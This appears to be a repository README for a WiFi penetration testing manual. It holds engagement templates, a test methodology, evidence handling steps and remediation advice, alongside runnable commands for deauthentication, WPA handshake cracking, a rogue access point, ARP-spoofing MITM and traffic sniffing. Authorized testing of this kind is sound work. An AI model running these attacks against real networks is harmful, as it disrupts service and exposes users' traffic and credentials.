WiFi Security Testing Guide - Practical Red Team / Pentest Manual

DISCLAIMER - READ FIRST The information in this guide is provided for authorized, ethical penetration testing and defensive security testing only. Do not perform tests against systems for which you do not have explicit, written authorization. Obey all applicable laws and organizational policies. The author and publisher accept no responsibility for illegal or unauthorized use.

Disclaimer
Overview & Purpose
Testing Consent / Rules of Engagement (ROE) - Template
Pre‑engagement Checklist
Operator Quick Runbook
Testing Methodology
Command level Procedures
Evidence Handling & Chain of Custody
Detection Verification & Reporting
Mitigations & Remediation Checklist
LAB Appendix - Exact Commands
Templates: Findings, Executive Summary, Proof of Fix
Notes on Ethics and Legal Compliance

1 - Disclaimer

Disclaimer: The information in this guide is provided for authorized, ethical penetration testing and defensive security testing only. The author is not responsible for any legal or personal consequences arising from application of the techniques herein. Do not perform tests against systems for which you do not have explicit, written authorization. Obey all applicable laws and organizational policies.

2 - Overview & Purpose

This guide provides a practical, command level methodology for red team operators and penetration testers performing lawful, authorized assessments of wireless networks. It covers reconnaissance, targeted active tests (handshake capture, rogue AP simulation, MITM), detection validation, evidence collection, and remediation guidance. All testing must follow the signed ROE and be scoped appropriately.

3 - Testing Consent / Rules of Engagement (ROE) - Template

WiFi Assessment Rules of Engagement (ROE) (Insert organization name & contact info; require signatures)

Client:
Engagement name / ID:
Scope (explicit SSIDs/BSSIDs/locations/physical boundaries):
Allowed activities: (check boxes)
- Passive reconnaissance (beacons, client discovery) ☐
- Active discovery (management frame queries, WPS checks) ☐
- Deauthentication of client devices controlled by tester ☐
- Handshake capture for offline cracking (PSK testing) ☐
- Rogue AP / Evil Twin simulation (lab or scoped site only) ☐
- ARP/MITM simulation (lab only / client consent) ☐
Explicit exclusions: (critical systems, medical devices, emergency comms, third party networks)
Test windows / times:
Maximum allowable transmit power:
Data handling & retention: (storage, encryption, redaction, retention period)
Out‑of‑band emergency contact / kill‑switch: (name, phone)
Notification to SOC/NOC: (yes/no, contact)
Insurance / liability considerations:
Signature - Client: ____________________ Date: ______
Signature - Test Lead: ____________________ Date: ______

Note: Do not begin tests until client signature is returned and you have confirmed operational contacts.

4 - Pre‑engagement Checklist

Signed ROE present and on file.
Out‑of‑band POC and kill switch phone numbers known.
Test clients prepared (devices you control).
SOC/NOC notified if testing production.
Legal review complete; local laws considered.
Tool versions, OS, wireless chipset, and drivers logged.
Backup and rollback plan documented.

5 - Operator Quick Runbook

Topline

Execute only with signed ROE. Keep this sheet with you during tests.

Environment Prep

sudo airmon-ng check kill
sudo airmon-ng start wlan0    # creates wlan0mon
ip link show
uname -a && lsb_release -a

Passive Recon

sudo airodump-ng wlan0mon
# Focus capture:
sudo airodump-ng --bssid <BSSID> -c <channel> -w /root/Desktop/<testid> wlan0mon

Record SSID, BSSID, channel, enc type, client MACs.

Controlled Handshake Capture

# focused capture
sudo airodump-ng --bssid <BSSID> -c <channel> -w /root/Desktop/<testid> wlan0mon

# deauth test client you control
sudo aireplay-ng --deauth 2 -a <AP_BSSID> -c <CLIENT_MAC> wlan0mon

Confirm WPA handshake in airodump output. Collect .cap.

Offline PSK Testing

sudo aircrack-ng -a2 -b <BSSID> -w /usr/share/wordlists/rockyou.txt /root/Desktop/<testid>-01.cap

Rogue AP

sudo airbase-ng -a <AP_BSSID> --essid "<ESSID>" -c <channel> wlan0mon
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

MITM / ARP Spoof

echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo arpspoof -i wlan0 -t <TARGET_IP> <GATEWAY_IP>
sudo arpspoof -i wlan0 -t <GATEWAY_IP> <TARGET_IP>
sudo tcpdump -i wlan0 -w /root/Desktop/<testid>-mitm.pcap

Evidence & Logging

script -a /root/Desktop/<testid>_session.log
sha256sum /root/Desktop/<file> > /root/Desktop/<file>.sha256

Kill‑Switch / Emergency Stop

sudo airmon-ng stop wlan0mon
sudo systemctl restart NetworkManager
echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -F
sudo pkill airodump-ng aireplay-ng airbase-ng arpspoof

Notify ROE POC immediately.

6 - Test Methodology (Phases, details)

Phase A - Passive Reconnaissance

Objective: enumerate APs and clients without transmitting (non‑disruptive).

Tools: airodump-ng (monitor mode).
Output: SSID list, BSSID table, channel usage, client MACs, beacon rates.

Phase B - Low‑impact Active Discovery

Objective: validate basic config without forcing client disconnects.

Check management interfaces, WPS status, 802.11w support.
Confirm VLAN segmentation for guest SSIDs.

Phase C - Targeted Active

Objective: validate authentication, client behavior, and segmentation.

Handshake capture (controlled deauth)
WPS attack (only if ROE permits)
Rogue AP simulation (lab or scoped)
MITM simulation (lab only, with consent)

Phase D - Detection & Response Validation

Confirm IDS/IPS, NAC, and SIEM detection of test events.
Document alerting, ticketing, timelines.

Phase E - Cleanup & Verification

Remove rogue APs; restore configs.
Collect evidence, hashes, and session logs.
Produce remediation recommendations and proof‑of‑fix plan.

7 - Command level Procedures

All commands assume wlan0 physical interface; airmon-ng start wlan0 will create wlan0mon. Replace interface names as appropriate.

7.1 Put interface into monitor mode

sudo airmon-ng check kill
sudo airmon-ng start wlan0    # creates wlan0mon

Confirm with ip link show and iwconfig.

7.2 Passive enumeration

sudo airodump-ng wlan0mon

To focus and save:

sudo airodump-ng --bssid <BSSID> -c <channel> -w /root/Desktop/<testid> wlan0mon

7.3 Handshake capture (controlled)

Start focused airodump (above).
Force test client reconnect:

sudo aireplay-ng --deauth 2 -a <AP_BSSID> -c <CLIENT_MAC> wlan0mon

Monitor airodump; look for WPA handshake. Stop airodump and collect .cap.

7.4 Offline brute force (lab)

sudo aircrack-ng -a2 -b <BSSID> -w /usr/share/wordlists/rockyou.txt /root/Desktop/<testid>-01.cap
# or via crunch (CPU heavy)
sudo crunch 8 8 abc... | sudo aircrack-ng -a2 -b <BSSID> -w - /root/Desktop/<testid>-01.cap

7.5 Rogue AP (lab/scoped)

sudo airbase-ng -a <AP_BSSID> --essid "<ESSID>" -c <channel> wlan0mon
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Use hostapd for more control in lab.

7.6 MITM / ARP spoof (lab)

echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo arpspoof -i wlan0 -t <TARGET_IP> <GATEWAY_IP>
sudo arpspoof -i wlan0 -t <GATEWAY_IP> <TARGET_IP>
sudo tcpdump -i wlan0 -w /root/Desktop/<testid>-mitm.pcap

8 - Evidence Handling & Chain of Custody

Label artifacts: testid_operator_ROE_<date>_<artifact>.
Compute SHA256 on every binary artifact:

sha256sum artifact > artifact.sha256

Capture terminal session:

script -a /root/Desktop/<testid>_session.log

Store evidence on encrypted media (LUKS or equivalent). Limit retention according to ROE and legal requirements. Redact PII before sharing client deliverables. Keep raw evidence in a secure evidence store with access logging.

9 - Detection Verification & Reporting

Correlate test actions (timestamps) with SIEM/NAC/AP logs and SOC tickets.
For each triggered detection, collect the alert, the device log, and packet evidence.
Report should include:
- Executive summary (top 3 risks + business impact)
- Technical findings (steps performed, evidence, impact)
- Remediation recommendations and proof‑of‑fix instructions
- Appendix: pcap references, hashes, commands used (if permitted)

10 - Mitigations & Remediation Checklist

Immediate (High)

Disable WPS.
Remove WEP/TKIP; migrate to WPA2/AES (CCMP) or WPA3.
Enforce strong PSKs (≥16 chars) or, ideally, deploy 802.1X/EAP‑TLS.

Near Term (Medium)

Enable management frame protection (802.11w) where supported.
Deploy NAC to enforce posture checks and quarantine.
Enforce client configuration (disable auto‑connect to open networks, require server certificate validation).

Long Term (Low)

Plan migration to WPA3 and 802.1X for corporate SSIDs.
Deploy Wireless IDS/IPS integrated with SIEM.
Regular firmware updates and AP inventory audits.

11 - Exact Commands

⚠️ DO NOT EXECUTE THESE COMMANDS IN PRODUCTION UNLESS YOU HAVE WRITTEN, EXPLICIT AUTHORIZATION. ⚠️

# Kill interfering processes
sudo airmon-ng check kill

# Monitor mode
sudo airmon-ng start wlan0   # creates wlan0mon
ip link show

# Passive scan
sudo airodump-ng wlan0mon
sudo airodump-ng --bssid 04:1E:64:98:96:AB -c 6 -w /root/Desktop/target wlan0mon

# Deauth to capture handshake
sudo aireplay-ng --deauth 2 -a 04:1E:64:98:96:AB -c 54:4E:85:46:78:EA wlan0mon

# Crack handshake offline
sudo aircrack-ng -a2 -b 04:1E:64:98:96:AB -w /usr/share/wordlists/rockyou.txt /root/Desktop/target-01.cap
# or with crunch
sudo crunch 8 8 abcdefghijklmnopqrstuvwxyz | sudo aircrack-ng -a2 -b 04:1E:64:98:96:AB -w - /root/Desktop/target-01.cap

# Rogue AP
sudo airbase-ng -a 04:1E:64:98:96:AB --essid "MyNetwork" -c 11 wlan0mon
sudo iwconfig wlan0 txpower 20
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# ARP spoof
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo arpspoof -i wlan0 -t 192.168.1.105 192.168.1.1
sudo arpspoof -i wlan0 -t 192.168.1.1 192.168.1.105
sudo urlsnarf -i wlan0
sudo driftnet -i wlan0
sudo tcpdump -i wlan0 -w /root/Desktop/mitm.pcap

# Evidence and logging
script -a /root/Desktop/lab_session.log
sha256sum /root/Desktop/target-01.cap > /root/Desktop/target-01.cap.sha256

# Kill-switch
sudo airmon-ng stop wlan0mon
sudo systemctl restart NetworkManager
echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -F
sudo pkill airodump-ng aireplay-ng airbase-ng arpspoof

12 - Templates

Finding template

Title: Weak SSID authentication - WPA2‑PSK with weak passphrase
Description: Captured WPA2 4‑way handshake for <SSID> (BSSID <BSSID>). Offline cracking attempt against target-01.cap using rockyou.txt produced <result>.
Evidence: target-01.cap (sha256: <hash>), airodump screenshot <file>.
Impact: An attacker with offline resources could attempt to recover PSK and gain network access.
Remediation: Replace PSK with 16+ char random passphrase or migrate to 802.1X/EAP‑TLS; disable WPS.
POC: [Include sanitized demonstration steps or screenshots].
Owner: Networking team - due: <date>.

Executive summary (one page)

Top 3 risks, brief business impact statements, recommended high‑level actions (migrate to 802.1X, disable WPS, deploy WIDS).

Proof‑of‑Fix verification (how to verify remediation)

Re‑scan and confirm: WPS disabled, WPA2/WPA3 only, management interfaces inaccessible to user VLAN, handshake capture attempts fail to produce recoverable PSK with same wordlists or verification shows 802.1X active.

13 - Notes on Ethics & Legal Compliance

The value of this guide is in enabling organizations to find and fix problems before attackers exploit them. Always operate within the ROE.
Never exfiltrate or retain real user data beyond what is needed for findings; obtain explicit consent if client data is used in tests.
Maintain professional conduct: factual reports, documented evidence, and remediation support.

Name		Name	Last commit message	Last commit date
assets/img		assets/img
.gitattributes		.gitattributes
LICENSE		LICENSE
README.md		README.md
WiFi Security Testing Guide - Practical Red Team Pentest Manual.pdf		WiFi Security Testing Guide - Practical Red Team Pentest Manual.pdf

Latest commit

History

Folders and files

Repository files navigation